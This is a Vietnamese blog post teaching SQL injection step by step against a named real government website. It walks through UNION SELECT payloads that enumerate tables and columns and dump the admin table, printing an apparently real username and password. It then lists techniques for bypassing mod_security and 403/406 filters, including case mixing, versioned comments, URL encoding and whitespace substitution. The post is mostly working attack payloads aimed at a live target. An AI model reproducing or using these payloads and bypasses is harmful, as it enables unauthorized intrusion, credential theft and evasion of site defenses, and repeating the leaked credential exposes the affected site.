Victim:http://www.xzs.gov.cn/productdetail.php?ID=10
ok ta thêm ' dzo nào
http://www.xzs.gov.cn/productdetail.php?ID=10'
ok nó sẽ bất thường phải ko

bước 2/ta order by ra để bik số nó lỗi ở đâu
http://www.xzs.gov.cn/productdetail.php?ID=10
http://www.xzs.gov.cn/productdetail.php?ID=10 order by 1<=không lỗi
http://www.xzs.gov.cn/productdetail.php?ID=10 order by 10<=không lỗi
http://www.xzs.gov.cn/productdetail.php?ID=10 order by 100<= không lỗi @@ diss @@ vậy thử cách khác bằng cách như sau
http://www.xzs.gov.cn/productdetail.php?ID=10' group by 1-- -<=không lỗi
http://www.xzs.gov.cn/productdetail.php?ID=10' group by 2-- -<=không lỗi
http://www.xzs.gov.cn/productdetail.php?ID=10' group by 3-- -<=không lỗi
.... order tự mình đi mệt quá
http://www.xzs.gov.cn/productdetail.php?ID=10' group by 12-- -<=không
http://www.xzs.gov.cn/productdetail.php?ID=10' group by 13-- -<=ok thấy sự bất thường rùi phải ko
3/ta union select nó nào
nhớ thêm - đằng sau id= nhé
www.xzs.gov.cn/productdetail.php?ID=-10 union select 1,2,3,4,5,6,7,8,9,10,11,12-- -
không ra số lỗi rùi thử cách khác vậy
www.xzs.gov.cn/productdetail.php?ID=-10' union select 1,2,3,4,5,6,7,8,9,10,11,12-- -
ok nó ra số 2 8 9 10 11 6 và mấy số đó là để chúng ta get table+version() vân vân
4/ta check thử verison nó
www.xzs.gov.cn/productdetail.php?ID=-10' UNION SELECT 1,version(),3,4,5,6,7,8,9,10,11,12-- -
oh 5.6.2-m5 có khi version 4. trở lên thì guess table thui @@


5/ khai thác table nó
bằng cách add
www.xzs.gov.cn/productdetail.php?ID=-10' UNION SELECT 1,version(),3,4,5,6,7,CONVERT(group_concat(table_n ame) USING latin1),9,10,11,12 from information_schema.tables where table_schema=database()-- -
ok nó ra 1 đống table rùi vậy ta sẽ check user +admin nó nhưng đa số là
:Admin,User,Users,Manager Ctril+f lên rùi tự coi
ok table nó là vn_adminusers
(hmm gov.cn mà nó đi để vn_adminusers .. thằng này nó yêu nước vn mình

6/check columns nó nào
www.xzs.gov.cn/productdetail.php?ID=-10' UNION SELECT 1,version(),3,4,5,6,7,CONVERT(group_concat(column_ name) USING latin1),9,10,11,12 from information_schema.columns where table_schema=database() and table_name=0x766e5f61646d696e7573657273 -- -
=0x766e5f61646d696e7573657273 nhiều người hỏi cái này là gì cái này là hex của nó bằng cách vào site
http://string-functions.com/string-hex.aspx và chỗ enter cho cái table user or admin dzo rùi convert nó là có số ở dưới copy và paste dzo
Nhưng nhớ là phải có =0x nhé

ok adminuser_id,adminuser_name,adminuser_pass,adminus er_loginnum,adminuser_lastlogintime,adminuser_last loginip nó ra mấy table này vậy ta cùng get nào
7/get user+pass
www.xzs.gov.cn/productdetail.php?ID=-10' UNION SELECT 1,version(),3,4,5,6,7,CONVERT(group_concat(adminus er_id,0x2f,adminuser_name,0x2f,adminuser_pass) USING latin1),9,10,11,12 from vn_adminusers-- -
0x2f:là / cho dễ nhìn ấy
ok user+pass nó là : 1/mfykziwu/che173nxiao

8/get link admin
vậy chúng ta get bằng gì? off coz bằng tools rùi
tui thích nhất tools này
9/ không get dc admin vì chmod mẹ rùi nhưng thui tới đây hết chắc anh em cũng đủ hiểu
Hướng dẫn Bypass 1 số lỗi thường gặp:
Loại 403,406:
hi ta order by thành công , nhưng union select lại xuất hiện những dòng thông báo sau:
Quote:
406 Not Acceptable
This request is not acceptable Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!
Quote:
Forbidden
You don't have permission to access /htmls/recruitment_detail.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.vinaplast.com.vn Port 80
Quote:
Not Acceptable
An appropriate representation of the requested resource /detClientes.php could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Để vượt qua được cái này, thì chúng ta cần phải bypass nó, nếu bypass vượt qua xem như site này 90% là đã xong với mình
Sau đây là một số cách vượt qua:
Cách 1 : tùy biến union select
Tùy biến ở đây là các bạn điều chỉnh chữ HOA, chữ THƯỜNG, HOA THƯỜNG xen kẽ nhau
Cách 2: Thêm comment /*!...*/ , /*!50000...*/
Cách 3: Dùng encode URL, cách dùng như sau
ví dụ : ta encode union ,nhưng ta chỉ encode 1 phần hoặc tất cả chữ cái có trong union.
ta chỉ việc HEX nó và thêm đằng trước là %, chú ý là % chứ ko phải 0x đâu nhé
Cách 4: là khi xuất hiện khoảng trắng nó sẽ báo lỗi, ta thay khoảng trắng bằng dấu +, và 1 số trường hợp ta thay bằng : %0A,%0B,%0C,%0D,%09,%20...
Cách 5 : Kết hợp 4 cách trên lại với nhau
Cách 6: tự chế
Mẹo vặt để tìm ra từ khóa bị MOD_security:
Khi bypass union select thành công thì tới đoạn get table_name. Đoạn get table_name chắc chắn các bạn sẽ gặp trở ngại vì nó tiếp tục thông báo lỗi, do đó cách thức vựot qua cái này như sau :
Vi dụ site.com?tghmmd=1 order by 7-- - là ok. Và Union select ta đã bypass và cho ra số 3
Quote:
>>union select 1,2,3,4,5,6,7-- -
+Get table_name ta chưa vội thay table_name vào làm gì, mà thêm vào "from information_schema.tables" trước>> sẽ thành
Quote:
union select 1,2,3,4,5,6,7 from information_schema.tables-- -
Nếu nó báo lỗi thì hầu hết bypass như sau:
Thay tables = /*!table*/=/*!50000tables*/ hoặc from= /*!from*/=/*!50000from*/
Nếu nó ko báo lỗi thì ta đi tiếp,và thêm đoạn where table_schema=database()
-Nếu lại báo lỗi thì bypass như sau
Thay where=/*!where*/=/*!50000where*/ Hoặc = bằng like
Chú ý chỗ này, cái database() ,khi mà tìm version() mà nó chặn() thì chú ý chỗ này ta dùng tên cái database nhé
>>Khi đã thêm xong mà số column lỗi là 3 vẫn hiện ra là ta bypass ok rồi. Bây h chỉ việc thay cái table_name vào số 3 nữa là ok.
Nếu lỗi thì tiếp tục bypass như trên
table_name = /*!table_name*/ = /*!50000table_name*/
(nói chung SQLI phải biết biến hóa

Không có nhận xét nào:
Đăng nhận xét